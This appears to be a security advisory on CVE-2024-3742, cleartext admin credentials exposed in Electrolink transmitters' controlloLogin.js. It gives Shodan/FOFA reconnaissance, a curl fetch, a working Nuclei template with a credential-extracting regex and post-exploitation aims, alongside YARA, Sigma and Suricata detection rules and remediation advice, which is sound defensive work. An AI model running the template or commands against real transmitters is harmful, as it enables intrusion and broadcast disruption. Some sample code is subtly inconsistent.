CVE-2024-3742

Executive Summary

CVE-2024-3742 is a critical vulnerability affecting Electrolink FM/DAB/TV transmitters. The flaw resides in the controlloLogin.js file, which stores administrative credentials in cleartext. An unauthenticated attacker can retrieve these credentials by sending a simple HTTP GET request to the vulnerable endpoint. This allows full system access to the transmitter, potentially enabling unauthorized configuration changes, service disruption, or further network compromise. The vulnerability has a CVSS score of 7.5 (High) and is publicly exploitable with a Nuclei template available.

Supply Chain & Package Security

Not applicable (hardware/firmware vulnerability).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation and the potential for full system compromise. The EPSS score is 0.09422 (percentile 0.92812), indicating a moderate probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic case of CWE-312: Cleartext Storage of Sensitive Information. The Electrolink transmitter's web interface includes a JavaScript file (controlloLogin.js) that contains hardcoded credentials in plaintext. The file is served to any unauthenticated client requesting it.

The Nuclei template reveals the exact mechanism:

• The attacker sends a GET request to /controlloLogin.js.
• The server responds with a JavaScript file containing lines like:

  if (user == 'admin' && password == 'electrolink123') { ... }
  

• The attacker extracts the credentials using a regex pattern: user\s*==\s*'([^']*)'\s*&&\s*password\s*==\s*'([^']*)'.

Once the credentials are obtained, the attacker can log in to the transmitter's web interface and gain full administrative control.

Vulnerable vs. Patched Code

Vulnerable Code (controlloLogin.js):

function checkLogin() {
  var user = document.getElementById("username").value;
  var pass = document.getElementById("password").value;
  if (user == 'admin' && password == 'electrolink123') {
    window.location.href = "dashboard.html";
  } else {
    alert("Invalid credentials");
  }
}

Patched Code (Hypothetical):

// Credentials are now stored server-side and hashed
// The client sends a POST request with the credentials
// The server validates against a hashed database
function checkLogin() {
  var user = document.getElementById("username").value;
  var pass = document.getElementById("password").value;
  // Send credentials to server for validation
  fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username: user, password: pass })
  })
  .then(response => response.json())
  .then(data => {
    if (data.success) {
      window.location.href = "dashboard.html";
    } else {
      alert("Invalid credentials");
    }
  });
}

The patched version removes cleartext credentials from client-side code and implements server-side authentication with hashed passwords.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Electrolink transmitter with web interface exposed
• Network access to the target (e.g., Shodan dork: Electrolink s.r.l.)

Exploitation Steps:

1. Reconnaissance: Use Shodan or FOFA to find exposed Electrolink devices.
2. Credential Extraction: Send a GET request to /controlloLogin.js:

   curl http://target-ip/controlloLogin.js
   

3. Parse Credentials: Extract the user and password values from the response.
4. Authenticate: Use the extracted credentials to log in to the web interface.
5. Post-Exploitation: Modify transmitter settings, disrupt broadcasts, or pivot to internal network.

Nuclei Template (Provided):

id: CVE-2024-3742

info:
  name: Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure
  author: Farish
  severity: high
  description: |
    Electrolink transmitters store credentials in clear-text. Use of these credentials could allow an attacker to access the system.
  impact: |
    Unauthenticated attackers can access cleartext credentials stored in controlloLogin.js, allowing system access.
  remediation: |
    Update Electrolink FM/DAB/TV Transmitter to a version that encrypts credentials properly.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5790.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3742
    - https://packetstormsecurity.com/files/174875/
    - https://www.cisa.gov/news-events/ics-advisories/icsa-24-107-02
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3742
    cwe-id: CWE-312
    epss-score: 0.09422
    epss-percentile: 0.92812
  metadata:
    verified: true
    max-request: 1
    fofa-query: "Electrolink s.r.l."
  tags: packetstorm,cve,cve2024,electrolink,info-leak,vuln

http:
  - raw:
      - |
        GET /controlloLogin.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/x-javascript")'
          - 'contains(body, "user==") && contains(body, "password==")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - user\s*==\s*'([^']*)'\s*&&\s*password\s*==\s*'([^']*)'

Blue Team (Defensive)

Lab Setup:

• Deploy a vulnerable Electrolink transmitter in an isolated network segment.
• Monitor traffic using Wireshark or tcpdump.
• Simulate exploitation using the Nuclei template or curl.

Detection:

• Monitor for GET requests to /controlloLogin.js.
• Alert on responses containing user== and password== patterns.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• File: /controlloLogin.js containing cleartext credentials
• Network: HTTP GET request to /controlloLogin.js
• Response Body: Contains user== and password== patterns
• Credentials: Hardcoded strings like admin and electrolink123 (or similar)
• Shodan/FOFA: Devices with title "Electrolink s.r.l."

Detection Engineering

YARA Rule

rule CVE_2024_3742_Electrolink_Credentials_Disclosure {
    meta:
        description = "Detects Electrolink transmitter controlloLogin.js with cleartext credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3742"
        hash = "4b0a00483046022100ae233e83dcc1f94adefbae5c74e6310daf357628fca77e2d98996a77f1d4c44b022100fe75bff5cb294dd59cda0a03d75812b2e16fd72bb1123089d19bc2cd128df3c9"
    strings:
        $credential_pattern = /user\s*==\s*'[^']*'\s*&&\s*password\s*==\s*'[^']*'/
        $file_indicator = "controlloLogin.js"
    condition:
        $credential_pattern and $file_indicator
}

Sigma Rule

title: Electrolink Transmitter Credentials Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to /controlloLogin.js on Electrolink transmitters
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3742
    - https://packetstormsecurity.com/files/174875/
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/controlloLogin.js'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3742 Electrolink Credentials Disclosure"; flow:to_server; content:"GET"; http_method; content:"/controlloLogin.js"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Electrolink transmitters on a separate VLAN with strict firewall rules.
2. Restrict access: Use IP whitelisting to limit access to the web interface.
3. Monitor logs: Enable logging and alerting for requests to /controlloLogin.js.

Long-Term Fix:

• Vendor patch: Contact Electrolink for a firmware update that encrypts credentials server-side.
• Custom workaround: If patching is not possible, remove or obfuscate the controlloLogin.js file and implement server-side authentication.
• Network segmentation: Ensure transmitters are not directly exposed to the internet.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Use the Nuclei template for continuous scanning.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: CA5248ABCC7FE10DB513ABB1] */}